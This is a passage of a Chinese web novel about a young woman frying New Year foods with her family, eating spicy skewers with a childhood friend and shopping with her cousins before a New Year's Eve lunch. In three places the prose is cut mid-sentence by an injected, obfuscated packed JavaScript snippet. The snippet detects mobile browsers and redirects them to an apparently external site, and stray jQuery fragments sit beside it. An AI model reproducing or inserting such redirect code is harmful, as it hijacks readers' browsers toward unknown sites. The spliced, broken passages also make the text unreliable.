自从出来工作，外卖吃多了就受不了了，开始自己学着做饭，虽然没什么天赋，但足够糊弄她自己，而且！自己做的饭自带好吃buff，即使没那么好吃，大脑也会告诉自己这是努力的结果，味道很不错。 不知不觉外面天都黑了，宋鑫把最后一点排骨腌上，今天的任务就完成了。 她看着厨房里摆的整整齐齐的大盆，也不由得伸了个懒腰，“终于好了，好累。” 再看宋志明李云华和王意，也都满脸疲惫，她稍微打起精神，问坐在客厅的三人，“你们还想出去吃饭吗？” 下午干活的时候，她们聊天说晚上要一起出去吃饭，可是现在看看，没有一个人有那个精力出去吃饭。 三人动作一致地摇头，表示拒绝，现在想想下午的她们好单纯，怎么会觉得晚上还有力气出去吃饭呢。 宋鑫就知道，因为她也懒得动，做的时候不觉得，一结束整个人都不好了，腰酸背痛，她走到客厅坐过去拿出手机，“那我们晚上点外卖？” 12.炸鸡肉块 王意本想回家点个外卖或者随便吃点，被宋鑫强行留住并发出威胁，“你还拿不拿我当朋友了，干了那么长时间的活，我会不留你吃饭吗，虽然是外卖。” 最后的结果就是半个小时后，宋鑫家里的餐桌上摆满了各式各样的外卖。 …… 宋鑫又是一大早就起来了，今天要先吃早饭才有力气干活。 本来想点外卖的，最后她还是出门了，她想吃馅饼了，楼下的便利店就可以买到，她上高中的时候早上就经常一个馅饼加一杯豆浆。 有时候会吃两个馅饼，这种馅饼有很多口味，香辣鱿鱼、黑椒牛肉、照烧鸡腿等等，都好吃，里面的配菜也好吃，外皮也不油，很适合早上吃。 宋鑫一口气买了六个，回到家一人两个，再配上一杯热乎乎的红枣花生豆浆，美好的早晨从早餐开始。 吃完饭宋鑫拍了拍手，“好了，我们要开始干活了，今天主要就是炸。” 宋志明和李云华配合鼓掌。 先炸素菜，红薯条炸完，宋鑫看着锅里刚放进去的土豆条还在冒泡，暂时不用管，先吃了一根炸红薯条，甜滋滋的，李云华已经拿出了甘梅粉。 抓上一把炸红薯条放进盘子里，撒上好吃的甘梅粉，美味加倍，可以一口气吃完一盘。 炸好的土豆条就要配番茄酱了，也可以用其他酸甜口的酱料，或者直接撒上一点椒盐粉，也很好吃呢。 准备工作都在昨天做完了，今天最多就调配一些面糊，就没有再让王意来帮忙，昨天已经帮了很大的忙了，宋鑫准备等炸完晾凉把炸货给她打包送去。 素丸子宋鑫炸了两种口感，一种是刚炸好外面有一点酥脆，里面软绵绵的，和很多超市里面卖的很像，但是放软了整体就会变得软趴趴的，比较适合老年人吃。 另一种是她自己喜欢的，炸的焦焦脆脆，只有最中心是软的，但又不是上面那种软绵绵的口感，吃起来让人上头，唯一的缺点是吃多会把舌头磨出泡。 宋鑫是怎么知道的，问就是亲身经历，这种素丸子她一个人可以吃一大碗，尤其是刚炸好的，和它一比，薯片什么的都弱爆了。 还有藕夹，是藕切成长条，裹上面糊，调一下味道直接炸的，刚炸好的空口吃，之后可以做烩菜，丸子汤。 手上炸着，嘴上吃着，宋鑫又把麻叶炸出来了，黑芝麻是咸口的，白芝麻是甜口的，一口咸的一口甜的，咸甜永动机正式启动，虽然用油炸的透透的，炸麻叶显然就是一个热量炸弹，可架不住好吃啊，宋鑫吃的抬不起头，自己的手艺也太好了吧。 在一旁帮忙顺便尝味道的宋志明和李云华也吃的相当满足，她们只觉得每一个都好好吃，早知道就不吃早饭了，馅饼虽好，可什么时候都能吃。 错过刚炸好的年货，晚上想起来就会睡不着的，虽然说炸好了放家里也可以什么时候想吃就什么时候吃，可那不是刚出锅最好吃的时候，那可是炸货的最佳赏味期啊。 素菜类炸的很快，炸好的东西都放在客厅了，一盆一盆的相当壮观，看着炸好的豆皮豆扣，宋鑫已经想象到对方拌上辣椒油的美妙味道了。 接下来就是重头戏，炸鸡肉块，剁好的鸡肉块经过一夜的腌制，外面裹上一层薄薄的面糊，一被放进去，滚烫的油锅就发出了声音。 即使抽油烟机在不停工作，香味也飘了出来，就是这个味道，，看着鸡肉块在油锅里慢慢变色，看颜色差不多了，宋鑫把炸鸡肉块捞了出来，因为她给的火候恰到好处，现在的炸鸡肉块里面还保留着汁水，一口咬下去还能感受到鸡肉的柔嫩紧实。 和外皮的口感截然不同，巨大的反差都在这一块小小的炸鸡肉块上，由于长时间的腌制，这个炸鸡肉块即使是最里面，也不会寡淡无味。 宋鑫吃完觉得很可以了，如果是炸鸡，可能还需要复炸，但是炸鸡肉块就不需要了，这个口感已经可以了，它不追求极致的酥脆。 准备做香酥油鸡的整鸡在昨天晚上已经腌上了，宋鑫早就在去买馅饼之前把那几只鸡蒸上了，因为要做到皮酥肉烂的口感，这些鸡要蒸三四个小时才可以。 宋鑫准备最后再炸它们，因为她刚刚看了一下，鸡肉还没有蒸到完全软烂。 宋志明一边拿了一块炸鸡肉块放进嘴里，一边把大虾和酥肉拿了过来，嘴里还含糊说着，“你说这鸡肉怎么这么好吃呢。” 说着把手里的东西放下，又拿走了一块鸡肉放进嘴里开始嚼嚼嚼，宋鑫看看时间，已经快十一点了，可她觉得今天中午她们三个都不用吃午饭了。 不说其他的，只是炸鸡肉块，她们一家三口这一会儿都要吃掉一只鸡了。 但是自己的手艺真好啊，宋鑫内心骄傲叉腰，鸡骨头都被炸软了，吃起来也很好脱骨，她又拿起来了一块鸡腿肉吃了起来，给自己点赞。 李云华也在默默吃着，在吃东西的空隙用各种不同的话语夸奖宋鑫，她最近跟同事学了好多夸人的话，都把宋鑫夸迷糊了。 随着酥肉的炸好，大家又展现了什么叫做喜新厌旧。 中午果然都没有吃饭，宋鑫要了一杯柠檬水喝了，炸东西时间长了，虽然吃起来还是很好吃，还是需要清爽一点的东西来缓解一下。 现在还有最后一样香酥油鸡，蒸好的鸡肉早就在李云华的帮忙下沥干了水分，上面的调料也都被捡下来了。 现在油锅里的油也不是很多了，宋鑫算好的量。 蒸好的鸡肉放进油锅需要来回翻转，只需要几分钟，外皮颜色就发生了大变化。 炸好的整鸡取出放在盘子里，还要浇上热热的芝麻油，瞬间香味又有了变化，宋鑫家里的芝麻油是在她一个亲戚家里买的，是李云华的表亲，姓孙，她应该喊大姨。 孙姨家里的芝麻油特别特别香，从芝麻的炒制到最后的成品，全都不假手他人，纯手工做的芝麻油，还有芝麻酱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498376|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也很好吃，货真价实的好东西。 宋鑫觉得这个芝麻油让香酥油鸡的味道更上一层。 所有的东西都炸好，宋鑫看着锅里的热油，决定一鼓作气把料油熬了做辣椒油。 把准备好的洋葱香菜之类放进了油锅，先熬料油，趁着这个时间，把几种辣椒粉按照配比放进罐子里，宋鑫用的这个玻璃罐子是耐高温的，可以直接泼热油。 把糖、十三香、花椒粉之类的调料放进辣椒粉里，一起搅拌均匀，再加入生抽，把这些材料润湿，避免热油泼下来有东西糊掉。 最后再撒上一层白芝麻在上面，等会儿热油一泼就会激发出芝麻的香味，油需要分几次泼进去，会冒大泡。 油泼好可以马上加一点醋进去，激发香味，接着搅拌均匀。 看着还冒着小泡的辣椒油宋鑫忍不住拿了一个炸麻叶，抹上一点辣椒油，吃的她摇头晃脑。 除了拌豆制品辣条之外，她还准备用新做好的辣椒油拌上一些凉菜晚上吃，吃了一天的炸货要吃点清爽解腻的东西。 这样想着的宋鑫嘴里又叼着一个白糖春卷，吃的有滋有味。 吃完这些，她忍不住打了一个饱嗝，接着又看向同样打起饱嗝的宋志明李云华，她觉得，也许可能大概晚上的凉菜不用拌了，她们三个谁也吃不下晚饭了。 但是该拌的辣条还要拌出来，这个拌好分装好可以吃一段时间。 宋鑫按照自己的口味加糖加辣椒油，还加了孜然粉和花椒粉，即使吃饱了她又尝起了辣条的味道，又甜又麻又辣，是她喜欢的味道。 宋志明和李云华看宋鑫的样子也吃了起来，她们这边没有做手工辣条的，平时偶尔吃一次辣条都是去超市里面买，第一次吃这种油炸豆制品做的辣条。 味道竟然比外面超市里的好那么多，而且因为盐和味精加的不多，吃完也不会觉得口渴。 李云华看着做好的这盆辣条，觉得这就是最好的电视剧搭子，一边看电视一边吃着辣条，她脑子里已经出现了画面，多么舒服啊。 还没等她开口，宋鑫就提前说了，“这个辣条我们三个分好哦，我们一人一份，不能吃别人的！” 行吧，李云华也可以接受，她还可以吃宋志明的嘛。 之后先把给周阿姨的炸麻叶装好，李云华决定等会儿家里收拾好就给她送过去，对于宋鑫发出的为什么不等明天上班顺便给她的疑问。 李云华一本正经的发问，“你是想没日没夜的炸年货吗，我可以给你带来相当多的生意。” 李云华单位里的人苦宋鑫久矣，也就今年寒假她不在家，以前她在家的时候，李云华隔三差五就带来她做的饭，馋苦食堂一大帮人。 就像现在她们这栋楼的人一样，都把窗户关的严严实实，生怕味道传进来，买又买不到，又不好上门占小姑娘的便宜，只能吃着其他东西，努力欺骗自己吃到嘴里的和闻到的是一种食物。 13.麻辣串 宋鑫也把给王意的炸年货装好了，每一种都拿了一些，装了两袋子，她明天晚上的车票回家。 把家里收拾干净，宋鑫和宋志明李云华兵分三路，去爷爷奶奶外公外婆还有周阿姨那里送东西。 再回到家宋鑫已经超级困了，倒在床上就睡着了。 第二天早上醒来，宋鑫发现家里干净的发光，尤其是厨房，昨天她们三个只是草草收拾了一下就离开了。 她没有想到昨天晚上宋志明和李云华回家之后还进行了大扫除，之前宋鑫提过，宋志明和李云华要上班上到除夕前一天，她到时候自己在家就把年前的大扫除干了。 宋鑫想到自己昨天晚上也没有被吵醒，一个是她自己太累了睡得沉，另一个原因就是宋志明李云华也很注意不要吵醒她。 好吧，看来今天她只要把自己的房间打扫干净就好了。 吃完早饭，因为昨天吃的太撑，早上宋鑫也不饿，宋志明和李云华应该是一个想法，也没有给宋鑫留多少饭，宋鑫几口就吃完了，刚刚好。 刚回到家就把房间收拾一遍的宋鑫表示，这次的大扫除轻轻松松就搞定了，下楼扔了一趟垃圾给这次的大扫除收尾。 可能因为劳动消耗了能量，宋鑫感觉有点饿，看着家里的各色食物，她愉快的决定出去吃麻辣串。 这家的麻辣串位置偏僻，但离小学又很近，在学校附近的一个拐角处，宋鑫小学的时候就在这个老奶奶这里吃了，以前是个小摊子，现在是一家小小的门店。 店里面就一个菜架，一个小炉子，一个小料台，再加上两张小桌子，一位老奶奶，就组成了一家无名麻辣串。 宋鑫走到店门口，一棵大树深深矗立在门外，如果在夏天，这儿就是一个天然的避暑地。 进了店里，老奶奶坐在小炉子前面，熟练的煮着各种串，一张桌子上面坐了好几个小孩子，老奶奶这里的消费很低，是典型的学生店。 在宋鑫小时候，一根串一毛钱，现在两毛钱。 宋鑫熟练的选串，小时候有限制，买上五毛钱的麻辣串边走边吃就会收获同龄人羡慕的目光，要是买上一块钱的，那真的是土豪才会做的事情。 现在的宋鑫不一样了，她可以轻轻松松实现麻辣串自由，大手一挥，一个种类拿五串。 但因为有的种类没有五串了，宋鑫最后花十二块四毛，得到了一大碗麻辣串。 看着自己面前满满一大碗，宋鑫想到以前的事情，再看到隔壁桌小孩子羡慕的目光，这就是成年人的快乐啊。 吃上一口不加调料原汁原味的，还是从前的味道。 青菜还保留着一点脆嫩的口感，加上底汤的味道，只是青菜宋鑫就可以吃上一大碗，当然考虑到胃容量有限，她也不能让青菜把胃占满，其他的也很好吃。 她第一次吃素鸡翅就是在老奶奶这里，明明是豆制品，口感上却有点像肉，在锅里煮完之后味道相当好，煮好的香菇也是嫩嫩滑滑的，超级鲜美。 虽然是一个锅里煮出来的素菜，却也没有丢失各自的本味。 老奶奶的汤底是用鸡架熬出来的，里面加上各色调料，还有一点点挂糊勾芡，汤汁有一点浓稠，却不会糊嘴，吃起来微微带一点辣味麻味，成年人吃着不够刺激，小孩子吃起来刚刚好。 宋鑫吃到一半才去加调料，多多的辣椒，多多的芝麻花生碎，搅拌均匀再吃上一口，常年受到各种刺激的味蕾一下子满足了。 隔壁的小孩子凑在一起嘀嘀咕咕，自以为在说悄悄话，其实被宋鑫听的清清清楚。 “大姐姐好有钱哦，可以吃那么多，等我以后长大了也要买多多的麻辣串。”一个小男孩还自认为隐蔽地看了宋鑫一眼。 宋鑫内心：这就是被羡慕的大人吗？好爽。 另一个扎着羊角辫的小女孩在一边点头，“真的好羡慕姐姐，她吃这么多中午就吃不下去饭了，不怕被妈妈爸爸说吗？” 宋鑫邪恶一笑，小孩子的世界就是单纯啊，这不能是她的午饭吗，嘿嘿。 另外两个小孩子也超级羡慕宋鑫，大姐姐有那么多零花钱，还可以吃那么多麻辣串，她们也好想吃很多哦。 宋鑫就在小孩子们羡慕的眼神中吃完了自己的麻辣串，那四个小孩子也和宋鑫差不多时候吃完，她们吃的非常珍惜，最后还是老奶奶提醒她们快要到家里的午饭时间了，要赶紧回家了，才不舍的把最后一口吃完。 家里的饭未必不好吃，可是家花哪有野花香，可以光明正大吃的饭总没有偷偷摸摸吃到的好吃，吃的不仅是食物，还有那一份刺激。 就在她们离开之前，宋鑫却又走向老奶奶，大手一挥把剩下的全打包了，听到宋鑫的话，几个小孩路都不会走了。 一个个以各种奇怪姿势转过头看向宋鑫，估计内心都在感叹，这就是大人的世界吗，好想快点长大，实现麻辣串自由！ 老奶奶给宋鑫装了三个打包盒才装完。 宋鑫也是吃完才想起来，李谈也很喜欢这家店的麻辣串，给他发消息问他要不要吃，不出意外，李谈回复了一个大大的“要！！！！！！”。 六个感叹号表达了他激动的心情，他家离这里还是没有宋鑫近，最近工作又忙，偶尔休息一下也不想出门，只想躺在床上。 这次看到宋鑫发给他的麻辣串，终于愿意从床上下来，他直接给宋鑫打了电话，“我等会儿去你家找你拿啊。” 说完不等宋鑫回话，就把电话挂上了。 看来是真的很想吃了，宋鑫想到李谈第一次吃麻辣串还是她带着来的，当时她和李谈都是小小一个，和那几个小孩差不多大，当时的李谈看见有个大人买了很多麻辣串，也说出了和那几个小孩类似的话。 宋鑫没有在外面多待，主要怕麻辣串凉了。 她到家没多久，李谈就到了，一进门就左顾右看，“我的麻辣串呢，好久没吃了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505356|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最近太忙了好长时间没有去小学那边。” 换完鞋子把手里的东西递给宋鑫，就直奔桌上放着的麻辣串去了。 宋鑫低头看手里的东西，是一个首饰盒，打开一看，是一个金耳坠，转头看向李谈。 李谈已经打开了打包盒，拿着筷子吃了起来，察觉到她的目光，“别那样看着我啊，不要太感动，给你的新年礼物，不是很重的啊，那种我一个清贫教师可买不起。” 宋鑫已经到眼眶的眼泪因为李谈这些话收了回去，她知道李谈给她买这个的意思就是想让她开心一点，辞职回家再怎么样还是有一点心理压力的，再加上旁人的一点风言风语，即使宋鑫不是一个脆弱的人，有时候也会难受。 “这个不够辣啊，妹啊，你再给我拿点辣椒过来呗。”李谈看宋鑫还站在那里，开始喊她了，宋鑫把耳坠放好，任命的去给他拿辣椒油。 “吃吧，昨天刚做出来的。” 加上一大勺辣椒油拌开，李谈又吃了一口感叹道，“这才对味，冬天就要吃辣的，暖和。”宋鑫觉得他是被学校的食堂折磨成了现在这样。 以前的李谈虽然爱吃辣，可也很能欣赏原滋原味的食物，现在已经变成了重口味爱好者，当然，也有可能是被工作折磨的，因为她去年六月和他一起吃饭的时候对方还没有这样。 他现在已经开始往麻辣串里加第四勺辣椒油了，果然上班让人癫狂。 剩下的两份麻辣串是给宋志明李云华带的，她们两个不好意思去吃，觉得挤在一群小孩子中间好尴尬，每次想吃都是找宋鑫代购回家。 李谈吃到一半，开始吃宋鑫家里炸的年货，他很会吃，把炸好的素丸子泡进麻辣串的汤里面，这个汤现在温温热，他泡的是焦脆的那种素丸子。 趁着素丸子刚放进去没有还没来得及吸满汤汁变软就捞出来吃掉，素丸子还保留着焦脆的口感，上面却裹满了麻辣串的汤汁。 吃多少泡多少，吃完再泡，藕夹也可以这样操作，后来李谈还把宋鑫炸的小麻花放进里面泡着吃，直到把那一份麻辣串连串带汤全都解决的干干净净才放下筷子。 他满足地摸着肚子坐在沙发上，脸上露出吃饱之后的满足，问起宋鑫年夜饭的事情，“今年你们是在爷爷奶奶这边过年吧。” 宋鑫点头确定，她们家过年一向是轮流来过的，去年在爷爷奶奶那里过，今年就去姥姥姥爷这里，但是中午会去和爷爷奶奶一起吃一顿年夜饭。 “行，到时候哥带你放烟花。”李谈边说边揉宋鑫的头发。 宋鑫躲过之后瞪着他，“你吃完饭没洗手！” 李谈向她展示自己干净的手掌，“但我把手擦干净了，擦了好几遍呢，你看。” 宋鑫不看，并且和他保持一定的距离。 宋志明和李云华下班回家的时候，李谈已经带着一包炸好的年货回家了，宋鑫已经和宋嘉宋薏说好了，明天让她们过来家里拿炸货。 14.贵州糯米饭 宋嘉今年大四，才回家没几天，她一直在学校忙毕业论文的事情。 而且她回到家也一直在忙，收到宋鑫的消息之后才从忙碌中回过神，尤其是她还准备考研，宋鑫不敢想她现在有多忙。 宋嘉没有和宋薏一起来，她家和宋鑫家里更近一些，直接自己先来了。宋嘉是宋鑫大伯宋志才的女儿，比宋鑫小一岁，因为年龄相当，两人从小就爱凑在一起。 宋嘉现在已经是学习学到走火入魔了，论文一遍又一遍的修改，她见到宋鑫的第一句话就是，“我当年选专业的时候脑子一定进水了。” 这句话宋嘉已经说了半年，可是据宋鑫所知，宋嘉想要报考的研究生专业还是这一个，只能说嘴上恨的有多深，心里爱的就有多深吧。 难得休息，宋鑫也不想让宋嘉一直烦恼，她想了一下问宋嘉，“你家今年的对联之类的东西买了吗？” 宋嘉想了想摇摇头，“我不知道，我问一下我爸妈。” 在她等待回复的时候，宋薏也到了，她一进门就扑到了宋嘉和宋薏中间，“我解放啦~” 是的，宋薏终于放寒假了，虽然只有一周，大年初六就要回学校继续上课了，可是对于可怜的高三生来讲，一周的假期也很满足了，自从升上了高三，再也没有得到过一个完整的三天假期，现在这可是有七天呐！ 足足七天，宋薏之前觉得学校会到除夕才给她们放假呢，她现在觉得今天的假就像是白捡的。 “我们今天去哪儿玩呀。”她先朝着左边扒拉扒拉宋嘉，又晃一晃右边的宋鑫，接着又从桌子上摸出了一个橘子，“在家里也行，嘿嘿~” 宋鑫看着她自在的样子，突然开始魔鬼发言，“你的作业开始写了吗？” 宋薏刚把橘子塞进嘴里，“好酸！”她的脸一下皱成了一团，眼泪都被酸出来了，“这个时候不要提这些让人难过的事情啊，我就放松一天，明天肯定好好写！” 接着又抱怨起来，“这个橘子一定不是你买的，好酸，小舅小舅妈是不是让人骗了！” 宋鑫默默看向那个橘子，是李谈昨天带来的，还是不要和宋薏说了，这个锅就让宋志明和李云华背了吧，反正她们两个平时买的水果也都是这样，总是可以神奇的挑中味道最差的那几个。 宋嘉收到了自家亲妈周雪的回复，“我们家还没有买对联这些，那我们今天去买？” “我家里我妈妈前几天就买好了，但是我也要一起去！”宋薏又在中间大声发表宣言。 宋鑫觉得自己的耳朵被吵到了，高中生这么有活力的吗，看看萎靡不振的李谈，再看看被学业折磨的不想说话的宋嘉，宋鑫觉得现在这个家里正常的小孩只有自己了。 “带你带你，怎么可能不带你，你那么吵~”宋鑫说完就起身跑到宋嘉旁边，避免宋薏恼羞成怒一头撞上来。 宋嘉在她们两个中间像一个不倒翁，等再起身出门，已经过去了半小时。 “所以，我们要去哪里买呢。”宋鑫看着另外两个人，三人互相看了看，觉得她们好像大傻子，不商量好就下来，然后在冷风里商量。 宋鑫默默把帽子戴上。 最后还是宋鑫承担了这一个难题，因为旁边的俩人，一个刚从学校出来，一个刚从论文里出来，还都不如她呢，虽然她也才回家没多长时间。 宋鑫选择了一个大商场，去这里的原因固然有这个这个商场很大，可以一站式买全所有东西，但更重要的是这家商场有一个地下美食城，前两天宋鑫刷视频发现有人说里面有一家奶茶店，海盐芝士奶盖非常不错，大力推荐。 先不管是不是广告，那个视频里面的奶盖特别诱人，本来准备找个时间点外卖的，既然今天要出门，就去那里好了。 等外卖送上门，哪有刚做好的好喝。 三人打了个车，很快就到了商场，在路上宋鑫就和她们两个说了美食城的事情，在扶梯口对视一眼，三个人特别有默契的上了下行的扶梯。 现在已经是中午了，当然要先去吃饭呀~ 不愧是被大力推荐过的美食城，还没走出扶梯，各色鲜香麻辣的味道就传了过来，如果是吃饱了闻到这个味道可能不会有什么感觉，可是现在她们三个饥肠辘辘。 “好香，我觉得我现在可以吃下一头牛！”宋薏深吸一口气和宋鑫宋嘉说。 好吧，宋鑫觉得她现在也是，一旁的宋嘉也默默点头。 先去买了宋鑫念念不忘的奶茶，宋鑫要了红茶底，宋嘉要了乌龙茶，而宋薏，则是要了一杯粥，是的，她单独要了一份海盐芝士奶盖，而她的奶茶，则是加了珍珠、芋泥、啵啵、布丁、椰果、红豆等等。 店员小姐姐非常贴心的给宋鑫拿了店里最粗的吸管，还在袋子里给她放了一把勺子。 先吃上一口奶盖，果然很美味，宋鑫满足地看向四周，中午吃什么呢。 旁边的宋薏在努力吸奶茶，无果，用起了勺子，宋嘉和宋鑫小声说道：“还好这家店的奶茶不是塑料封口，是有专门的盖子。” 宋鑫疯狂点头赞同，要是塑料压膜的那种，宋薏现在估计就要到处找东西划开奶茶盖子了，她俩一致认为宋薏不用再吃其他东西了，一大杯粥足够了！ 没错，宋薏点的还是超大杯，因为只有超大杯才能加完这些小料。 最后三个人也没吃正经饭，坐在就餐区，桌子上摆的满满当当，大鱿鱼、烤冷面、炸蘑菇、烤面筋、铁板豆腐，还有宋鑫在角落里发现的酸梅糕。 宋嘉还想买烤年糕，被宋鑫拦住了，她特别强调在家附近菜市场买到的年糕有多好吃，味道有多丰富。 “你别吃这个年糕了，等你回去的时候我再给你带两袋年糕，不一样口味的，煎烤都行，绝对好吃！”宋鑫说的时候宋薏也在一旁举手， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511590|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示意她也要。 “少不了你的，都有，我买了好多。” 吃到一半，宋鑫觉得没有主食，怎么吃怎么别扭，她看了看周围，“你们吃不吃糯米饭，我感觉这一家的贵州糯米饭还不错。” 宋嘉觉得自己可以来一份，永远相信宋鑫的推荐，在吃这一方面，她从小到大没错过。 宋薏倒是也想吃，可她实在吃不下了，奶茶还剩下半杯，只能望着糯米饭叹气了。 这一家的糯米饭相当不错，看起来很贵州的样子，还有折耳根，是宋鑫无福享受的食物，但是！她的一个大学同学是折耳根狂热爱好者，每次看到对方吃折耳根享受的模样，宋鑫就忍不住想尝试一下，然后每次都发现自己接受不了。 这次宋嘉也要了折耳根，她是可以接受这个味道的，老板先做的是她那一份，熟练的动作，一分钟的时间，宋嘉的糯米饭做好了。 宋鑫的糯米饭加了腊肠、肉松和咸蛋黄，还加了一点白砂糖，吃起来尤其美味，一口咬下去一大口，所有的食物都被吃到嘴里。 油润的糯米，带着一点儿酒香味的腊肠，嘎嘣脆的榨菜，白砂糖还没有完全融化在热乎乎的糯米饭里面，存在感很足。 还有那一勺涂在中间的辣椒油，用的是粗辣椒面，里面还有花生，如果这一口迟到了酥脆的花生，口感都和上一口不一样了。 宋鑫吃的享受，宋薏看的眼馋，最后还是跑去买了一个贵州糯米饭，老板做的很实在，六块钱大大的一个，比宋薏的手还要大。 宋薏吃了两口尝了下味道，就重新包起来准备带回家晚上吃，她实在吃不动了，但是看着宋鑫和宋嘉还在吃东西又眼馋。 “啊——好希望我的胃是个黑洞啊，这样我想吃什么就吃什么，最好还可以干吃不胖，嘿嘿嘿~”显然，宋薏已经沉浸在自己的幻想之中了。 宋鑫示意宋嘉尝一下这个酸梅糕，只看外表就知道做的不错，而且这家店开在角落，酸梅糕却卖的飞快，味道一定很好。 宋嘉拿起一块，先观察起来，酸梅糕做的很好看，分为两层，上层白里透红，下层则是乌黑色的，一看就知道是山楂和乌梅，吃一口甜中带酸，刚刚好的味道。 趁着宋鑫和宋嘉没注意，宋薏也伸手偷偷摸了一块酸梅糕，她可是听到宋鑫说的了，这个酸梅糕还助消化呢，最适合她现在吃了，等她把胃里的食物消化了，又是这个美食城最靓的崽了。 宋嘉还和宋鑫聊了摆摊的事情，证件下来了，过完这几天就可以正式出摊了。 吃饱喝足要干正事了，下午的商场人流量相当大，明天就是除夕，今天来采购的人相当多。 有带着孩子来买过年穿的新衣服新鞋子的，还有来买各色年货的，形形色色的人汇聚在商场里，脸上都挂着对新的一年的期盼。 在人群中挤了一圈，她们终于到了卖春联的地方。 15.元宵（出摊啦～） 也不挑种类了，人太多了，各个款式拿上一些又努力挤了出来。 宋薏在人群外等着，拿着她们刚刚买的东西，宋鑫和宋嘉出来之后，除了被努力保护好的对联还完好无损，两个人的衣服变得皱皱巴巴。 头发都乱了，一看就是经历了一次大战。 宋薏看了忍不住摸摸自己的头发，以后一定远离拥挤人群，她还年轻，因为学习掉头发就算了，要是在这种环境里面头发被挤掉几根，她真的会哭！ 接着她们三个又去买了一些过年的小物件，衣服鞋子什么的宋鑫是不用买的，李女士早早就给她在网上买好了。 用她的话来讲，店里的衣服看来看去还是那老三样，还不如网上可挑选的余地大。 行吧，其实真实原因是宋鑫不愿意陪李女士逛街，有那个时间她宁愿在家琢磨吃的。 而且她觉得衣服嘛，平时穿着得体，干干净净的就可以了，正式场合的衣服有两套就够了。 以前的宋鑫还会穿的花哨，自从上班之后，她觉得工作不配她好好搭配！ 总之，宋鑫今年的新衣服已经解决了，相信李女士的眼光。 回到宋鑫家里，宋嘉和宋薏拿上年货就赶紧回家了，明明也没有做什么，怎么时间就过得那么快呢，天都黑了。 除夕的上午，宋鑫和已经正式放假的宋志明李云华一起把家里好好布置了一下，对联、窗花，还有小灯笼，该贴的贴，该挂的挂。 之后换好衣服直奔饭店，中午要和宋爷爷宋奶奶她们一起吃年夜饭，今年定在了酒店里，方便又不用收拾。 因为人多，宋奶奶定了一个包间，宋鑫一家到的时候，宋薏和她妈妈宋月已经到了，正在和宋爷爷宋奶奶聊天。 看到宋鑫，宋月先过来递给她一个红包，这个厚度，宋鑫沉思，她现在其实还好啦，只是辞职，不是吃不起饭了~ 不过看着宋月霸气的眼神，宋鑫果断把红包揣进兜里，“谢谢二姑，祝你明年继续发大财！” 宋月听到宋鑫的话更开心了，“我也祝你新的一年心想事成，做自己的喜欢的事情，天天开心。” 在宋月和宋鑫说话的时候，宋薏也接收到了宋志明和李云华的红包，偷偷装进口袋，笑得像个偷到了鸡的小狐狸。 其实宋月看到了，只是不想拆穿她，孩子这么大了，也不会随便乱花，手里多点钱也没关系。 宋薏和宋鑫凑在一起聊天，没过多久宋嘉一家也到了，又是一套熟悉的拜年收红包的流程，看人都到齐了，上菜之前，宋爷爷宋奶奶也把红包发了出来。 从大人到小一辈的宋鑫她们，人人有份。 这也是宋家过年的固定流程了，只要是小辈，就有红包拿，用宋奶奶的话来讲，就是不管你年纪再大，都是我的孩子，都要收红包。 好吧，宋家三兄妹就此妥协，胳膊拧不过大腿，你爸妈还是你爸妈。 开始上菜，这家店的摆盘为了映衬新年的气象，用的盘子也很有过年的氛围，看上去就觉得喜气洋洋的。 别的菜都还好，宋鑫做好的香酥油鸡被宋爷爷宋奶奶专门带来了，让后厨加热之后直接装进盘子离，配上一碟荷叶饼。 还有花椒盐和辣酱油两种调料，香酥油鸡的肉软烂到筷子轻轻一扯就能拽下来一块肉，还会带着一块因为重新加热变得酥脆的皮。 宋鑫的吃法是把辣酱油涂在荷叶饼里面，然后把香酥油鸡蘸上一点花椒盐，把鸡肉放进荷叶饼，大大的吃上一口。 这个花椒盐里面还带了一点点花生芝麻碎增加口感，吃起来更香了，而且一点儿也不会觉得油腻。 大家也都知道这个菜好吃，香酥油鸡一上来，先不管其他的，纷纷吃起了鸡肉，这个鸡肉宋爷爷宋奶奶吃的也毫不费力，鸡肉一点儿也不柴。 宋家人在这里吃爽了，却不知道靠近后厨的那一桌客人拽着服务员追问这个香味是什么菜，不管多少钱给他们也加一份。 服务员面露无奈，这已经是第三桌了，赶紧解释这是人家自带的，不是她们饭店做的，她端着加热好的香酥油鸡走一趟，香味经过的地方不停有人问询。 就连后厨的人也问她这是哪家大厨做的，最起码要有二十年的功底，还得天赋好，才能把这道菜的火候把握的这么好。 最后的芝麻油更是一绝，加热好之后依然会有芝麻油的香气传来。 